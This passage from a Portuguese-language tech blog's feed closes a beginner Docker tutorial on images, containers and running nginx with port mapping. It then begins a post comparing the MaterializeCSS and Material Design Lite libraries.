&lt;p&gt;An image is a lightweight, stand-alone, executable package that includes
everything needed to run a piece of software, including the code, a runtime,
libraries, environment variables, and config files.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Ou seja, um &lt;em&gt;Docker Image&lt;/em&gt; é um binário que inclui todos os requisitos
necessários para rodar um &lt;em&gt;Container&lt;/em&gt;. Podemos pensar sobre esse
conceito como uma tecnologia para empacotamento (ou até mesmo como uma espécie &lt;em&gt;snapshot&lt;/em&gt;),
onde não só definimos nossa distribuição &lt;em&gt;Linux&lt;/em&gt; ou serviços utilizados
(como &lt;em&gt;Postgres&lt;/em&gt; ou &lt;em&gt;Nginx&lt;/em&gt;, por exemplo), como também adicionamos a nossa própria aplicação
ao pacote.&lt;/p&gt;
&lt;p&gt;Uma imagem é imutável, ou seja, &lt;em&gt;read only&lt;/em&gt;. Imagens
geralmente são compostas por outras camadas de imagens (&lt;em&gt;image layers&lt;/em&gt;). Isso é um
&lt;em&gt;approach&lt;/em&gt; interessante, já que uma vez que uma camada seja baixada ela não precisará ser
baixada novamente, mesmo se outras imagens utilizarem da mesma camada:&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 610px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/8e197844bf74ca6668d7b39d88ad54d5/073a0/docker-image-container.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 69.27083333333334%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAAOABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAMBAgT/xAAVAQEBAAAAAAAAAAAAAAAAAAABAv/aAAwDAQACEAMQAAAB1us1hxIX/8QAGBAAAwEBAAAAAAAAAAAAAAAAAQIDABD/2gAIAQEAAQUCNW0XLNjFdOYXn//EABYRAAMAAAAAAAAAAAAAAAAAAAEQEf/aAAgBAwEBPwGFf//EABQRAQAAAAAAAAAAAAAAAAAAABD/2gAIAQIBAT8BP//EABkQAAIDAQAAAAAAAAAAAAAAAAABEBExIf/aAAgBAQAGPwLTsay1cf/EABoQAQACAwEAAAAAAAAAAAAAAAEAERAhUTH/2gAIAQEAAT8hvunvCLhiVyWS5BGzjeP/2gAMAwEAAgADAAAAEEfP/8QAFxEAAwEAAAAAAAAAAAAAAAAAARARIf/aAAgBAwEBPxAU1f/EABYRAQEBAAAAAAAAAAAAAAAAAAEQEf/aAAgBAgEBPxBTJ//EAB4QAQACAgEFAAAAAAAAAAAAAAEAIRExQRBhcYHR/9oACAEBAAE/EAhSIv7S2OAAOe0BK14mc3rnZz6i15SmHT//2Q==&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Esquema representando o Sistema de Arquivo (docs.docker.com)&amp;quot;&quot;
        title=&quot;Esquema representando o Sistema de Arquivo (docs.docker.com)&quot;
        src=&quot;/static/8e197844bf74ca6668d7b39d88ad54d5/073a0/docker-image-container.jpg&quot;
        srcset=&quot;/static/8e197844bf74ca6668d7b39d88ad54d5/7809d/docker-image-container.jpg 192w,
/static/8e197844bf74ca6668d7b39d88ad54d5/4ecad/docker-image-container.jpg 384w,
/static/8e197844bf74ca6668d7b39d88ad54d5/073a0/docker-image-container.jpg 610w&quot;
        sizes=&quot;(max-width: 610px) 100vw, 610px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Esquema representando o Sistema de Arquivo (docs.docker.com)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Um &lt;em&gt;Docker Container&lt;/em&gt; em vias práticas é uma &quot;instância&quot; da imagem... é o que a imagem se torna em memória
ao ser executada. De forma preguiçosa, podemos fazer a analogia com a &lt;a href=&quot;/tag/oop.html&quot; title=&quot;Leia mais sobre OOP&quot;&gt;Orientação a Objetos&lt;/a&gt;,
onde a imagem pode ser comparada com uma classe, e a instância com um &lt;em&gt;Container&lt;/em&gt;. Podemos ter
tantos &lt;em&gt;containers&lt;/em&gt; quanto necessário para uma mesma imagem.&lt;/p&gt;
&lt;h2&gt;Um pouco de prática&lt;/h2&gt;
&lt;p&gt;Vamos baixar a nossa primeira imagem &lt;em&gt;Docker&lt;/em&gt;. Para isso, execute o seguinte comando:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ docker pull docker/whalesay&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O comando &lt;code class=&quot;language-text&quot;&gt;docker pull&lt;/code&gt; fará o &lt;em&gt;download&lt;/em&gt; da imagem &lt;code class=&quot;language-text&quot;&gt;docker/whalesay&lt;/code&gt;
para o seu computador. Essa imagem está hospedada (por padrão) no &lt;a href=&quot;https://hub.docker.com/r/docker/whalesay/&quot;&gt;&lt;em&gt;Docker Hub&lt;/em&gt;&lt;/a&gt;,
uma espécie de &quot;Github para imagens Docker&quot;.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;https://hub.docker.com/&quot; title=&quot;Docker Hub&quot;&gt;Leia mais sobre o &lt;em&gt;Docker Hub&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;É possível visualizarmos a imagem através do comando &lt;code class=&quot;language-text&quot;&gt;docker images&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ docker images

REPOSITORY         TAG       IMAGE ID        CREATED          SIZE
docker/whalesay    latest    6b362a9f73eb    23 months ago    247 MB&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;É uma prática comum o repositório/nome da imagem ser chamado de
&lt;code class=&quot;language-text&quot;&gt;&amp;lt;repositório&gt;/&amp;lt;nome de imagem&gt;&lt;/code&gt;. Isso evita que haja duplicidade no &lt;em&gt;Docker Hub&lt;/em&gt;. Para
executar a imagem (e por consequência criar um &lt;em&gt;Container&lt;/em&gt;), temos o comando &lt;code class=&quot;language-text&quot;&gt;docker run&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ docker run docker/whalesay cowsay boo
 _____
&amp;lt; boo &gt;
 -----
    \
     \
      \
                    ##        .
              ## ## ##       ==
           ## ## ## ##      ===
       /&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;&quot;___/ ===
  ~~~ {~~ ~~~~ ~~~ ~~~~ ~~ ~ /  ===- ~~~
       \______ o          __/
        \    \        __/
          \____\______/&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Também é possível executarmos através do &lt;code class=&quot;language-text&quot;&gt;ID&lt;/code&gt; da imagem:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ docker run 6b362a9f73eb cowsay boo2&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h2&gt;Welcome to Nginx!&lt;/h2&gt;
&lt;p&gt;É claro que o &lt;em&gt;Docker&lt;/em&gt; é muito mais poderoso do que isso. Por exemplo, vamos baixar o
&lt;a href=&quot;/tag/nginx.html&quot; title=&quot;Leia mais sobre o Nginx&quot;&gt;&lt;em&gt;Nginx&lt;/em&gt;&lt;/a&gt; e ver como podemos receber uma simpática tela de &quot;It&apos;s working&quot;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ docker pull nginx&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Notou a ausência do &lt;code class=&quot;language-text&quot;&gt;&amp;lt;repositório&gt;/&lt;/code&gt;? Repositórios oficiais no &lt;em&gt;Docker Hub&lt;/em&gt; não necessitam
de um prefixo, e você pode encontrá-los na interface &lt;em&gt;web&lt;/em&gt; através do &lt;em&gt;path&lt;/em&gt; &lt;code class=&quot;language-text&quot;&gt;_/&amp;lt;nome da imagem&gt;&lt;/code&gt;.
Por exemplo, o endereço do &lt;em&gt;Nginx&lt;/em&gt; no &lt;em&gt;Docker Hub&lt;/em&gt; é &lt;a href=&quot;https://hub.docker.com/_/nginx/&quot;&gt;https://hub.docker.com/_/nginx/&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 610px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/fb8a561d8561fc395633a751c6b93aa5/5aae9/memento-docker.png&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 75%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABQAAAAPCAIAAABr+ngCAAAACXBIWXMAAAsTAAALEwEAmpwYAAADnklEQVQozwGTA2z8AG5ubXR3eZCPk5CQlJORktXLyszIxenp3OLf0+Dc0OLe09zWz9PMy9DLzMbAw8W+wNPNzsrEx8W8v8K3vQDb2+CrsLejqLSIkpuDi5GvuMSJk5+eqK7b29PY08vSzcrUz87Aq6eObmSYgoHLxsjDwMbMyMq0sLWfmKIAycTGrquuzsvOzM/NxsnF3OLgub68xMjH3uHY6Ovh5OrizMjCqYCAmmRiflFHppmTtrvJpqqzys/Xp6i0AFJSXXlze3lxcXp8e1JVUqilo9bR0crHxr68vMTCw4+SkGhbVotfYo9iZIpfW2NKPG9ydFpia19jZ3N1egAaHRdYWFckJBkoLyJZYFwsMS1oaWg9PjspKSckIyFuc3aMfICAUVKTYGOIWFRiRTpmZWZ1c3dOTk9PUFEAWVtXc29tU1FKREo9WlhLb2JUZ2JYUFJFTVFIS09JYWdibF1VfFVQd1BHZz82cFJOdmtid25rb25ubW1tAGJkYWFgWnBrZoF8enx1cGtmXGVjWWxoX2prZGpqYltaTDk8O0tMTmJeWUwyKF5bV15eV1tWSVhWSFVWTwBcXVhWUUhiV0yOg4KUh4Z9cGdOUkZfXU5pYlFmXEtbV0ktLzJFQkAtKSl4VlN2amluZmF3ZFN2YlJ0YVgAfGxpgXBqiHNugnFulIGAln96f29ngnNrjXhqmn91i21oMS8yISgrLi0sUk5ajn+Eo4mIlX15mH59jXuAAH5xdYB0d4h6fYh6fYp7fpOBhZmHjJeGipuMj599e25PRzQwMC8pKRMOC1hQVot/g5GCh5eIjZiFi4d2fACEgYdiZ29pbnVpb3dnbXVpbnRnbnNydXqXkZJ2X1U1IhYyIBY9JRtIKiNqUEhvamhnY2F5cXKFeXp7c3gAu62xjoqQVV5lXGZtX2luX2htWmVram5xe3yASj86QjoySUQ7VDUkdEo6a09BT1JJXF1YZ2ZjY2Fba2hoAHd3e9vPzKqnqGFpbmFqbmJpbmBobYOChHB0diEoMzM6NDM/PCskJFM1JHRTSF5cVklORU1QR1JQSWRiYwBTWl9scHOHiIpmbXBcZmliam1ucXNjaWNGT0IqMCgnLSMmLCUYIy4sKiZMSUFpaGVZWVJBRTxRUElTVFEAUFpbSVRYSVVZVF9iVGBjX2ZmT1ZON0A0JygbICAUISQXHiAaHScsLzcvPUY8RU1EYGFaXl5ZWFhRU1RTNXyO35pV+QoAAAAASUVORK5CYII=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Assim como em Memento, o Docker também depende de imagens e tem memória curta (problemasfilosoficos.blogspot.com.br)&amp;quot;&quot;
        title=&quot;Assim como em Memento, o Docker também depende de imagens e tem memória curta (problemasfilosoficos.blogspot.com.br)&quot;
        src=&quot;/static/fb8a561d8561fc395633a751c6b93aa5/5aae9/memento-docker.png&quot;
        srcset=&quot;/static/fb8a561d8561fc395633a751c6b93aa5/8514f/memento-docker.png 192w,
/static/fb8a561d8561fc395633a751c6b93aa5/804b2/memento-docker.png 384w,
/static/fb8a561d8561fc395633a751c6b93aa5/5aae9/memento-docker.png 610w&quot;
        sizes=&quot;(max-width: 610px) 100vw, 610px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Assim como em Memento, o Docker também depende de imagens e tem memória curta (problemasfilosoficos.blogspot.com.br)&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Vamos executar o &lt;em&gt;Nginx&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ docker run -p 5000:80 nginx&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Mapemos a porta &lt;code class=&quot;language-text&quot;&gt;5000&lt;/code&gt; da nossa máquina para apontar para a porta &lt;code class=&quot;language-text&quot;&gt;80&lt;/code&gt; do &lt;em&gt;Container&lt;/em&gt;. Logo, ao acessarmos
o &lt;code class=&quot;language-text&quot;&gt;http://localhost:5000&lt;/code&gt;, recebemos a simpática tela de boas vindas ao &lt;em&gt;Nginx&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Podemos dar um nome ao processo, e ainda executá-lo em modo &lt;em&gt;daemon&lt;/em&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ docker run --name docker-nginx -p 5000:80 -d nginx

796ab2f0a662c045d0cfc99ff836a364a384406b8c6eaf03bcfb65e6cfd87751&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;O valor de retorno é o &lt;em&gt;ID&lt;/em&gt; do &lt;em&gt;Container&lt;/em&gt;. Note a presença dos parâmetros &lt;code class=&quot;language-text&quot;&gt;--name&lt;/code&gt; e &lt;code class=&quot;language-text&quot;&gt;-d&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Para listar os &lt;em&gt;Containers&lt;/em&gt; ativos, usamos o comando &lt;code class=&quot;language-text&quot;&gt;ps&lt;/code&gt;:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ docker ps

CONTAINER ID    IMAGE    COMMAND
796ab2f0a662    nginx    &quot;nginx -g &apos;daemon ...&quot;
CREATED           STATUS           PORTS                  NAMES
12 seconds ago    Up 11 seconds    0.0.0.0:5000-&gt;80/tcp   docker-nginx&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Para parar o serviço:&lt;/p&gt;
&lt;div class=&quot;gatsby-highlight&quot; data-language=&quot;text&quot;&gt;&lt;pre class=&quot;language-text&quot;&gt;&lt;code class=&quot;language-text&quot;&gt;$ docker stop docker-nginx&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Pronto! Simples como as melhores coisas da vida.&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Lembro até hoje do momento em que ouvi falar sobre &lt;em&gt;Docker&lt;/em&gt; pela primeira vez,
e me questionei: Onde é que eu encaixo a minha ferramenta de provisionamento?&lt;/p&gt;
&lt;p&gt;Pois bem, não se faz necessário ter uma ferramenta de provisionamento uma vez que a sua
aplicação seja empacotada em uma imagem &lt;em&gt;Docker&lt;/em&gt;. A forma de pensar no &lt;em&gt;deploy&lt;/em&gt; da
aplicação muda, uma vez que ela esteja &quot;containerizada&quot;.&lt;/p&gt;
&lt;p&gt;No próximo &lt;em&gt;post&lt;/em&gt; da série vamos utilizar &lt;em&gt;Docker&lt;/em&gt; em uma aplicação &lt;a href=&quot;/tag/python.html&quot; title=&quot;Leia mais sobre Python&quot;&gt;&lt;em&gt;Python&lt;/em&gt;&lt;/a&gt;
e &lt;a href=&quot;/tag/django.html&quot; title=&quot;Leia mais sobre Django&quot;&gt;&lt;em&gt;Django&lt;/em&gt;&lt;/a&gt;, e nos deparar com
algumas peculiaridades de ambientes &lt;em&gt;Docker&lt;/em&gt; (como por exemplo, os ambiente efêmeros).&lt;/p&gt;
&lt;p&gt;Até a próxima!&lt;/p&gt;
&lt;h2&gt;Referências&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.docker.com/get-started/&quot;&gt;&lt;em&gt;Docker Docs&lt;/em&gt; - &lt;em&gt;Get started, Part 1: Orientation and Setup&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://www.mundodocker.com.br/o-que-e-uma-imagem/&quot;&gt;&lt;em&gt;MundoDocker&lt;/em&gt; - O que é uma imagem?&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://docs.openshift.com/enterprise/3.0/architecture/core_concepts/containers_and_images.html#docker-images&quot;&gt;&lt;em&gt;Openshift&lt;/em&gt; - &lt;em&gt;Docker images&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://semaphoreci.com/community/tutorials/dockerizing-a-python-django-web-application&quot;&gt;&lt;em&gt;Semaphore&lt;/em&gt; - &lt;em&gt;Dockerizing a Python Django web Application&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;http://stackoverflow.com/questions/23735149/docker-image-vs-container&quot;&gt;&lt;em&gt;Stackoverflow&lt;/em&gt; - &lt;em&gt;Docker image vs container&lt;/em&gt;&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;</content:encoded></item><item><title><![CDATA[Eu me rendo: Material Design]]></title><description><![CDATA[Lembro como se fosse hoje de um camarada dos tempos de Globo.com me falando de
modo efusivo: Você deveria experimentar o MaterializeCSS, vai…]]></description><link>https://klauslaube.com.br/2017/04/19/eu-me-rendo-material-design.html</link><guid isPermaLink="false">https://klauslaube.com.br/2017/04/19/eu-me-rendo-material-design.html</guid><pubDate>Wed, 19 Apr 2017 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;Lembro como se fosse hoje de um camarada dos tempos de &lt;em&gt;Globo.com&lt;/em&gt; me falando de
modo efusivo: Você deveria experimentar o &lt;em&gt;MaterializeCSS&lt;/em&gt;, vai te poupar muito
tempo e te entregar uma interface elegante; Na época eu estava munido da minha
ignorância, e acabei não seguindo o conselho do nobre amigo.&lt;/p&gt;
&lt;p&gt;Pouco tempo se passou, e entrei em um projeto muito importante da empresa. Nele,
houve um complexo trabalho por parte do time de estratégia e de &lt;em&gt;UX&lt;/em&gt; para determinar
a arquitetura da informação e &lt;em&gt;design&lt;/em&gt;. Imagine a minha surpresa quando descobri que o
&lt;em&gt;Material Design&lt;/em&gt; foi usado como base para uma série de decisões tomadas. Uma luz amarela
acendeu-se em minha cabeça, mas ainda não tinha sido o suficiente para saber mais.&lt;/p&gt;
&lt;p&gt;Finalmente, ao inscrever-me no &lt;a href=&quot;https://br.udacity.com/course/android-basics-nanodegree-by-google--nd803/&quot; title=&quot;Android Basics&quot;&gt;&lt;em&gt;Nanodegree&lt;/em&gt; de &lt;em&gt;Android&lt;/em&gt; do &lt;em&gt;Udacity&lt;/em&gt;&lt;/a&gt;,
que eu desisti e me rendi ao &lt;em&gt;Material Design&lt;/em&gt;.&lt;/p&gt;
&lt;h2&gt;O Material Design&lt;/h2&gt;
&lt;p&gt;Diretamente do &lt;a href=&quot;http://material.io&quot; title=&quot;Visite o site oficial&quot;&gt;material.io&lt;/a&gt;:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Material Design is a unified system that combines theory, resources, and tools for crafting digital experiences.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Em uma definição mais descritiva, podemos dizer que o &lt;em&gt;Material Design&lt;/em&gt; é
uma completíssima &quot;linguagem de design&quot;. Criado a partir de um profundo estudo de
&lt;em&gt;branding&lt;/em&gt;, &lt;em&gt;interaction&lt;/em&gt; e &lt;em&gt;motion&lt;/em&gt;, o &lt;em&gt;Material&lt;/em&gt; é uma compilação de estilos
e princípios que funcionam consistentemente em diferentes soluções.&lt;/p&gt;
&lt;p&gt;Com sua origem no universo &lt;em&gt;Mobile&lt;/em&gt; da &lt;em&gt;Google&lt;/em&gt;, a partir da versão 2.1 do
&lt;em&gt;Android&lt;/em&gt;, hoje é possível apreciarmos o &lt;em&gt;Material Design&lt;/em&gt; sendo utilizado
também em soluções &lt;em&gt;web&lt;/em&gt;. Existem duas bibliotecas bem-quistas em &quot;traduzir&quot;
a especificação para os &lt;em&gt;browsers&lt;/em&gt;: &lt;a href=&quot;http://materializecss.com/&quot; title=&quot;Leia mais sobre o Materialize&quot;&gt;&lt;em&gt;MaterializeCSS&lt;/em&gt;&lt;/a&gt;
e &lt;a href=&quot;https://getmdl.io/index.html&quot; title=&quot;Leia mais sobre o MDL&quot;&gt;&lt;em&gt;Material Design Lite&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;h2&gt;MaterializeCSS ou Material Design Lite?&lt;/h2&gt;
&lt;p&gt;Sem rodeios:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;MaterializeCSS&lt;/strong&gt;: Iniciativa &lt;em&gt;open source&lt;/em&gt;, com mais de 25 mil &lt;em&gt;stars&lt;/em&gt; no
&lt;a href=&quot;https://github.com/dogfalo/materialize/&quot; title=&quot;Veja o repositório&quot;&gt;&lt;em&gt;Github&lt;/em&gt;&lt;/a&gt;. Possui como dependência o &lt;em&gt;jQuery&lt;/em&gt;,
tornando-a uma opção ligeiramente &quot;pesada&quot;. Possui uma documentação fácil de ler, mas
infelizmente o seu &lt;em&gt;showcase&lt;/em&gt; está desatualizado.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;MDL&lt;/strong&gt;: A biblioteca &quot;oficial&quot; da &lt;em&gt;Google&lt;/em&gt;. Também &lt;em&gt;open source&lt;/em&gt;, com cerca de 26 mil &lt;em&gt;stars&lt;/em&gt; no
&lt;a href=&quot;https://github.com/google/material-design-lite&quot;&gt;&lt;em&gt;Github&lt;/em&gt;&lt;/a&gt;, não possui dependência de outras bibliotecas e é
declarada como opção mais fiel às especificações do &lt;em&gt;Material Design&lt;/em&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Não vou fazer uma análise profunda entre os dois, pois para ser sincero, só tive
um contato mais íntimo com o &lt;em&gt;MaterializeCSS&lt;/em&gt;. O que posso dizer é que ambos
cumprem bem a sua proposta (e possuem uma boa camada de customização através de &lt;a href=&quot;/tag/sass.html&quot; title=&quot;Leia mais sobre Sass&quot;&gt;&lt;em&gt;Sass&lt;/em&gt;&lt;/a&gt;),
e (na minha opinião) a biblioteca do &lt;em&gt;Google&lt;/em&gt; leva certa vantagem por ser ligeiramente
mais leve, não ter o &lt;em&gt;jQuery&lt;/em&gt; como dependência, e ainda por cima usar
&lt;a href=&quot;http://getbem.com/&quot; title=&quot;Saiba o que é o BEM e como ele pode te ajudar a escrever CSS&quot;&gt;&lt;em&gt;BEM&lt;/em&gt;&lt;/a&gt;.&lt;/p&gt;
&lt;p&gt;&lt;figure class=&quot;gatsby-resp-image-figure&quot; style=&quot;&quot;&gt;
    &lt;span
      class=&quot;gatsby-resp-image-wrapper&quot;
      style=&quot;position: relative; display: block; margin-left: auto; margin-right: auto; max-width: 610px; &quot;
    &gt;
      &lt;a
    class=&quot;gatsby-resp-image-link&quot;
    href=&quot;/static/d3b12e92557b0a1f6834bdaa10f190a7/073a0/batman-fear-face.jpg&quot;
    style=&quot;display: block&quot;
    target=&quot;_blank&quot;
    rel=&quot;noopener&quot;
  &gt;
    &lt;span
    class=&quot;gatsby-resp-image-background-image&quot;
    style=&quot;padding-bottom: 66.66666666666666%; position: relative; bottom: 0; left: 0; background-image: url(&apos;data:image/jpeg;base64,/9j/2wBDABALDA4MChAODQ4SERATGCgaGBYWGDEjJR0oOjM9PDkzODdASFxOQERXRTc4UG1RV19iZ2hnPk1xeXBkeFxlZ2P/2wBDARESEhgVGC8aGi9jQjhCY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2NjY2P/wgARCAANABQDASIAAhEBAxEB/8QAGAAAAgMAAAAAAAAAAAAAAAAAAAUCAwT/xAAWAQEBAQAAAAAAAAAAAAAAAAABAgP/2gAMAwEAAhADEAAAAYYims3AuB//xAAaEAACAwEBAAAAAAAAAAAAAAABAgADEiEi/9oACAEBAAEFAmOqy7E1EYt8MvILMz//xAAVEQEBAAAAAAAAAAAAAAAAAAABEP/aAAgBAwEBPwEn/8QAFBEBAAAAAAAAAAAAAAAAAAAAEP/aAAgBAgEBPwE//8QAGxAAAAcBAAAAAAAAAAAAAAAAAAEQERIxQSH/2gAIAQEABj8CgT90UTYkCpf/xAAbEAEAAgMBAQAAAAAAAAAAAAABABEhMUFRof/aAAgBAQABPyGyyOBgnsThNw9jtvC+7lUNfYgoJ//aAAwDAQACAAMAAAAQFy//xAAXEQADAQAAAAAAAAAAAAAAAAAAASER/9oACAEDAQE/EIVMZ//EABcRAQADAAAAAAAAAAAAAAAAAAABETH/2gAIAQIBAT8QnVv/xAAdEAEBAQEAAQUAAAAAAAAAAAABESEAMUFhcaHR/9oACAEBAAE/EIOoVpAdr6ePvrABxgYH5wILFI0nzxI9luvzX37dDab4dMcLcZvf/9k=&apos;); background-size: cover; display: block;&quot;
  &gt;&lt;/span&gt;
  &lt;img
        class=&quot;gatsby-resp-image-image&quot;
        alt=&quot;&amp;quot;Ao contrário do Batman, eu me rendi&amp;quot;&quot;
        title=&quot;Ao contrário do Batman, eu me rendi&quot;
        src=&quot;/static/d3b12e92557b0a1f6834bdaa10f190a7/073a0/batman-fear-face.jpg&quot;
        srcset=&quot;/static/d3b12e92557b0a1f6834bdaa10f190a7/7809d/batman-fear-face.jpg 192w,
/static/d3b12e92557b0a1f6834bdaa10f190a7/4ecad/batman-fear-face.jpg 384w,
/static/d3b12e92557b0a1f6834bdaa10f190a7/073a0/batman-fear-face.jpg 610w&quot;
        sizes=&quot;(max-width: 610px) 100vw, 610px&quot;
        style=&quot;width:100%;height:100%;margin:0;vertical-align:middle;position:absolute;top:0;left:0;&quot;
        loading=&quot;lazy&quot;
      /&gt;
  &lt;/a&gt;
    &lt;/span&gt;
    &lt;figcaption class=&quot;gatsby-resp-image-figcaption&quot;&gt;Ao contrário do Batman, eu me rendi&lt;/figcaption&gt;
  &lt;/figure&gt;&lt;/p&gt;
&lt;p&gt;Em defesa do &lt;em&gt;Materialize&lt;/em&gt;, acho a curva de aprendizagem menor que a do concorrente,
e uma rápida leitura do seu &lt;em&gt;getting started&lt;/em&gt; já te dá conteúdo o suficiente para ter
as suas primeiras páginas escritas.&lt;/p&gt;
&lt;p&gt;Se você deseja uma análise mais completa, recomendo o &lt;a href=&quot;https://andreapaiola.name/2015-07-materialize-css-vs-material-design-lite/&quot;&gt;&lt;em&gt;Google release Material Design Lite, time to switch?&lt;/em&gt;&lt;/a&gt;&lt;/p&gt;
&lt;h2&gt;Considerações finais&lt;/h2&gt;
&lt;p&gt;Acredito que ter qualquer uma das duas bibliotecas no seu &lt;em&gt;toolbox&lt;/em&gt; é recomendado, principalmente
se a sua solução for flertar com o ambiente &lt;em&gt;Mobile&lt;/em&gt;. Então, no seu próximo projeto, antes
de ir &quot;por padrão&quot; no &lt;em&gt;Bootstrap&lt;/em&gt; ou &lt;em&gt;Foundation&lt;/em&gt;, dê uma chance ao &lt;em&gt;Material&lt;/em&gt;.&lt;/p&gt;
&lt;p&gt;Se você estiver usando &lt;em&gt;React&lt;/em&gt;, o &lt;a href=&quot;http://www.material-ui.com/&quot;&gt;&lt;em&gt;Material-UI&lt;/em&gt;&lt;/a&gt; pode
